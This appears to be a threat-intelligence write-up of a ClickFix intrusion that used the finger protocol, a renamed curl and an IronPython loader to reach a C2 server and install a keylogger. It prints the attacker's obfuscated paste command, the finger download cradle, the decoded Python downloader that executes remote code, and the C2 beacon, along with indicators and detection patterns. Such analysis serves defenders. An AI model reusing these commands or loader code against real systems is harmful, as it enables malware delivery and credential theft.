*Published: 8/14/2026* > **High-level Overview:** A ClickFix paste ran a caret-obfuscated `for /f` loop that fetched its next stage over the finger protocol on TCP/79 and executed the response directly. That script killed Explorer, copied `curl.exe` to a numerically-named `.com` file, and used it to pull the real IronPython 3.4.2 release from GitHub disguised as a `.pdf`. After extracting it with `tar.exe` and renaming the interpreter, the chain ran a base64, zlib, and UTF-32 encoded Python stage that disabled TLS verification and handed control to `artides[.]net`. Five minutes after the paste, a low-level keyboard hook was installed in `explorer.exe`. ## Attribution This is the IronPython loader, one of three ClickFix families documented as using the finger protocol as a delivery vector. DefenseStorm published a full chain analysis in May 2026 that matches this intrusion nearly step for step, down to the caret-obfuscated `cmd.exe /c s^t^a^r^t "" /min` root, the `.com` curl copy, the IronPython release pulled from GitHub as a fake PDF, and the base64, zlib, UTF-32 encoding triple on the inline Python. Only the infrastructure differs, with `linkedco[.]net` and `sam-sa[.]net` in their case against `claudeam[.]com` and `artides[.]net` here. The finger vector was mapped in more detail by independent research tracking thirty days of TCP/79 delivery, which separates the IronPython loader from a standalone Python RAT tracked as `lspy` and from a cluster of staging domains hosted on DigitalOcean's New Jersey range. The finger server in this incident resolved to `162.243.124[.]63`, which sits in that same DigitalOcean space, so the staging pattern holds. No named threat actor is publicly attached to this cluster. Microsoft's February 2026 reporting on the CrashFix variant covers the broader move toward Python-based RATs delivered through ClickFix, and LevelBlue's SpiderLabs documented the same shift out of job-platform lures, so the technique is well established across several unrelated operators. Treat the family as the durable identifier and the domains as disposable. ## The chain at a glance ``` [explorer.exe] user pastes into Run box │ └─▶ cmd.exe /c s^t^a^r^t "" /min for /f "delims=@" %o in ('finger [email protected]') do %o │ + decoy padding: --_Verif_--P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y-- │ └─▶ finger.exe [email protected] → 162.243.124.63:79 │ the finger RESPONSE is the batch script, executed by "do %o" │ ├─▶ taskkill /f /fi "IMAGENAME eq explor*" (kills Explorer) │ ├─▶ curl.exe copied → %LOCALAPPDATA%\237036321264828839.com │ GET github.com/IronLanguages/ironpython3/releases/.../IronPython.3.4.2.zip │ saved as %LOCALAPPDATA%\IronPython.3.4.2.pdf (ZIP, not PDF) │ ├─▶ tar -xf IronPython.3.4.2.pdf -C IronPython.3.4.2\ (~1,500 files) ├─▶ rename net462\ipyw32.exe → 15205307611935.exe │ └─▶ 15205307611935.exe -c "base64 → zlib → utf-32 → exec" │ ├─▶ stage 2: ssl verification disabled │ GET https://artides.net/dsVGmQTrzX/default3 │ User-Agent: K8VGmQTrzX → exec(response) │ ├─▶ curl beacon → claudeam.com/infos.php?fronts=1 │ └─▶ explorer.exe: RemoteLibraryInjection + global low-level keylogger ``` ## Stage-by-stage ### Stage 0: the paste The grandparent is `explorer.exe`, so this came out of the `Win + R` dialog like every other ClickFix run. The command itself is doing several things at once. > [!example]- ClickFix root command > ```python > "C:\windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %o in > (',f^^i^^n^^g^^e^^r NriTDRRnWE@f^^i^^n^^g^^e^^r^^.^^claudeam.com') do %o > & ' --_Verif_--P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y-- ' > ``` Carets are inserted between every character of `start`, `finger`, and the domain, so neither the command name nor `finger.claudeam.com` exists as a contiguous string anywhere in the command line. `cmd.exe` strips them at parse time and runs it anyway. The doubled `^^` sequences are there because the string passes through a second `cmd` layer, where one caret is consumed per pass. `start "" /min` launches the work minimized, so no console appears on the desktop. The long trailing string is padding for the Run dialog itself, pushing the real command out of the visible field and leaving the user looking at `--_Verif_--P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y--`, which reads as an instruction rather than a command. ### Stage 1: the finger protocol as a download cradle The `for /f` construct is the actual delivery mechanism. Wrapping a command in single quotes inside `for /f` tells `cmd` to run it and parse its output, and `do %o` then executes each parsed token as a command in its own right. Whatever the remote finger server returns becomes the next stage. > [!example]- The cradle, carets removed > ```python > for /f "delims=@" %o in ('finger [email protected]') do %o > ``` Finger is a user-lookup protocol from the early ARPANET era, served over TCP/79, and `finger.exe` still ships with Windows. It's signed, it's Microsoft's, and it retrieves arbitrary attacker-controlled text from a remote host over a port that almost nothing else on a corporate network uses. Setting `delims=@` splits the returned lines on `@`, so the server can pad each line with trailing junk after the delimiter and only the command portion executes. The lookup resolved `finger.claudeam.com` to `162.243.124[.]63` and connected outbound on port 79. The batch script that came back drove everything that followed. ### Stage 2: killing Explorer The first thing the returned script does is terminate the shell. > [!example]- Explorer termination > ```python > taskkill /f /fi "IMAGENAME eq explor*" > ``` The wildcard filter avoids naming `explorer.exe` outright. Killing the shell closes the Run dialog and every window on the desktop, which clears the screen of the paste the user just made, and Windows restarts Explorer automatically a few seconds later. The restarted process is a fresh `explorer.exe` with no relationship to the original session, and it later becomes the injection target. ### Stage 3: curl under a different name Rather than downloading anything itself, the script copies the `curl.exe` that ships with Windows into `%LOCALAPPDATA%` under a numeric name with a `.com` extension. > [!example]- Renamed curl fetching IronPython > ```python > "C:\Users\<user>\AppData\Local\237036321264828839.com" -s -L --tlsv1.2 --ssl-no-revoke > -o "C:\Users\<user>\AppData\Local\IronPython.3.4.2.pdf" > github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip > ``` The rename defeats any detection keyed on the process name while the arguments stay pure curl, and the EDR flagged it as `DifferentOriginalFilename` because the PE metadata still identifies it as curl. Choosing `.com` over `.exe` matters too, since `.com` is still an executable extension on Windows and reads as far less alarming in a process list. `--ssl-no-revoke` skips certificate revocation checking, which keeps the transfer quiet if the operator's chain has revocation problems. What it downloads is genuinely IronPython 3.4.2, pulled straight from the official `IronLanguages` GitHub releases over `release-assets.githubusercontent.com`. No attacker infrastructure is touched for the payload runtime, the traffic goes to a domain almost every enterprise allows, and the file that lands is signed open-source software. Saving the `.zip` as `IronPython.3.4.2.pdf` is what tripped `HeaderExtensionMismatch` on the endpoint. ### Stage 4: unpacking and renaming the interpreter `tar.exe`, also native to modern Windows, extracts the archive in place. > [!example]- Extraction and interpreter rename > ```python > tar -xf "C:\Users\<user>\AppData\Local\IronPython.3.4.2.pdf" > -C "C:\Users\<user>\AppData\Local\IronPython.3.4.2" > > net462\ipyw32.exe → net462\15205307611935.exe > ``` That single extraction accounts for roughly 1,500 of the file events in this tree, which is most of the volume in the incident and all of it legitimate IronPython. The interpreter that matters is `ipyw32.exe`, the windowless build, and it gets renamed to a numeric filename in the same style as the curl copy. Renaming it breaks name-based rules while leaving a legitimately signed .NET interpreter sitting on disk, ready to run whatever it's handed. ### Stage 5: the encoded Python stage The renamed interpreter is invoked with an inline script that exists only to decode and launch the next one. > [!example]- Three encoding layers on one line > ```python > 15205307611935.exe -c "import base64,zlib,sys,subprocess as s; > s.Popen([sys.executable,'-c', > zlib.decompress(base64.b64decode('eJytlMtKA0EQRXst+A8BF5mARtRNEFzoRsSVoqKrEJMZMxCTOA...')) > .decode('utf-32')])" > ``` Base64 hides it from casual reading, zlib compresses it so no recognizable Python survives in the command line, and the UTF-32 decode is the layer that defeats most tooling, since a UTF-32 buffer looks like sparse binary padded with null bytes rather than text. Peeling all three returns a short script, which the parent then launches as a separate process: > [!example]- Decoded stage 2 > ```python > #iBslbIGYyr > import ssl > import time > import urllib.request > ssl._create_default_https_context = ssl._create_unverified_context > r = urllib.request.Request('https://artides.net/dsVGmQTrzX/default3', > headers={'User-Agent': 'K8VGmQTrzX'}) > c = urllib.request.urlopen(r).read().decode('utf-8') > time.sleep(2.1) > exec(c) > ``` The leading `#iBslbIGYyr` is a random comment, which changes the file hash on every build without changing behavior. Overriding `_create_default_https_context` turns off certificate validation for the whole process, so the C2 can serve a self-signed or expired certificate without breaking the fetch. The `User-Agent` is the most useful artifact here. `K8VGmQTrzX` is a ten-character random token with no browser string around it, and it shares the tail `VGmQTrzX` with the URL path `dsVGmQTrzX`, so both were generated from the same build value. A hardcoded nonsense user-agent on outbound HTTPS is close to unmissable in proxy logs, and unlike the domains it reflects how the kit was built. Everything after that arrives as a response body and runs through `exec()`, so the final payload never exists as a file. ### Stage 6: the beacon and the keylogger Alongside the Python chain, the renamed curl checks in to the same domain that served the finger stage. > [!example]- Check-in > ```python > "C:\Users\<user>\AppData\Local\237036321264828839.com" -s -L --tlsv1.2 --ssl-no-revoke > claudeam.com/infos.php?fronts=1 > ``` That request went to Cloudflare infrastructure at `104.21.24[.]49`, so the delivery domain sits behind a CDN while the finger listener runs on a bare DigitalOcean host. Roughly five minutes after the initial paste, the restarted `explorer.exe` shows the outcome. The endpoint recorded a `RemoteLibraryInjection` into that process followed immediately by `KeyloggerInstallation`, flagged as a global, low-level keyboard hook. Whatever `exec()` retrieved from `artides[.]net` ended in code running inside the shell process with a system-wide keystroke hook installed. Published analysis of this family describes the retrieved stage as a shellcode loader that resolves its imports by PEB walking and djb2 hashing, decrypts with RC4, and transfers execution through a `ReplaceTextW` hook rather than a conventional call, which is consistent with an injection appearing on the endpoint without a corresponding payload file. ## What stands out - Every executable in the chain is either signed by Microsoft and already on the box (`cmd`, `finger`, `taskkill`, `curl`, `tar`) or legitimately signed open-source software downloaded from GitHub, so nothing malicious exists on disk as a distinct binary until the final in-memory stage. - The download cradle is the finger protocol on TCP/79, which is old enough that most environments have no baseline for it at all and plenty of egress policies never considered it. - Caret obfuscation means the strings `start`, `finger`, and the C2 domain never appear contiguously in the command line, so a literal string match on the domain or the binary name finds nothing. - The payload runtime is a real IronPython release fetched from `github.com`, which puts the heaviest part of the transfer on infrastructure nearly every enterprise allows. - Killing Explorer wipes the desktop and the Run dialog the moment the command lands, and the shell that Windows restarts is what eventually gets injected. - The UTF-32 decode layer is the deliberate part of the encoding triple, since it renders the payload as null-padded binary rather than anything a string scanner would recognize as script. - The hardcoded `K8VGmQTrzX` user-agent shares a build token with the C2 URL path, making it a better pivot than either domain. ## Indicators **Domains / IPs** - `finger.claudeam[.]com` → `162.243.124[.]63:79` (finger delivery, DigitalOcean) - `claudeam[.]com/infos.php?fronts=1` → `104.21.24[.]49` (check-in, behind Cloudflare) - `artides[.]net/dsVGmQTrzX/default3` → `95.133.231[.]126:443` (second-stage C2) - `github.com` (`140.82.116[.]3`) and `release-assets.githubusercontent.com` (`185.199.108[.]133`), legitimate services used to host the IronPython runtime **Network fingerprint** - `User-Agent: K8VGmQTrzX` on outbound HTTPS, shares the `VGmQTrzX` build token with the URL path - outbound TCP/79 from `finger.exe` - TLS certificate validation disabled by the Python stage (`ssl._create_unverified_context`) **Paths / artifacts** - `%LOCALAPPDATA%\237036321264828839.com` (copy of `curl.exe`, numeric name, `.com` extension) - `%LOCALAPPDATA%\IronPython.3.4.2.pdf` (the IronPython ZIP saved with a `.pdf` extension) - `%LOCALAPPDATA%\IronPython.3.4.2\` (extracted runtime, ~1,500 files) - `%LOCALAPPDATA%\IronPython.3.4.2\net462\15205307611935.exe` (renamed `ipyw32.exe`) **Command patterns** - `for /f "delims=@" %o in ('finger <token>@<host>') do %o` - `cmd.exe /c s^t^a^r^t "" /min` with caret-separated characters - `taskkill /f /fi "IMAGENAME eq explor*"` - `tar -xf` against a `.pdf` in `%LOCALAPPDATA%` - inline `-c "import base64,zlib,sys,subprocess"` with a `.decode('utf-32')` chain **Behavioral indicators observed** - `CmdCaretObfuscation`, `InterpreterChaining`, `OutputRedirection` - `DifferentOriginalFilename` on the renamed curl, `HeaderExtensionMismatch` on the fake PDF - `RemoteLibraryInjection` and `KeyloggerInstallation` (global, low-level hook) against `explorer.exe` **SHA256** - `73d24149ff289afc49ec41f08918ef9faa727d39ad993e929757dc2ddafab805`: `237036321264828839.com` (renamed curl) - `b12b9d336819f08132338747c53ad4741010044fa56262399a279544be50d285`: `IronPython.3.4.2.pdf` (ZIP) - `eacd8e25b3f952464b4a40a93d769722a0b116d71b18959087bdd1370293edcd`: `ipyw32.exe`, renamed to `15205307611935.exe` (legitimate IronPython binary) ## References - DefenseStorm, "ClickFix to Shellcode: A Multi-Stage Malware Analysis." https://defensestorm.com/threatalert/clickfix-to-shellcode-a-multi-stage-malware-analysis/ - BlueTeamCoolTeam, "Thirty days of finger commands: three ClickFix families, one TCP/79 delivery vector." https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/ - Microsoft Security Blog, "New ClickFix variant 'CrashFix' deploying Python Remote Access Trojan." https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/ - LevelBlue SpiderLabs, "ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery." https://www.levelblue.com/blogs/spiderlabs-blog/clickfix-is-now-hiring-from-job-platform-impersonation-to-python-based-rat-delivery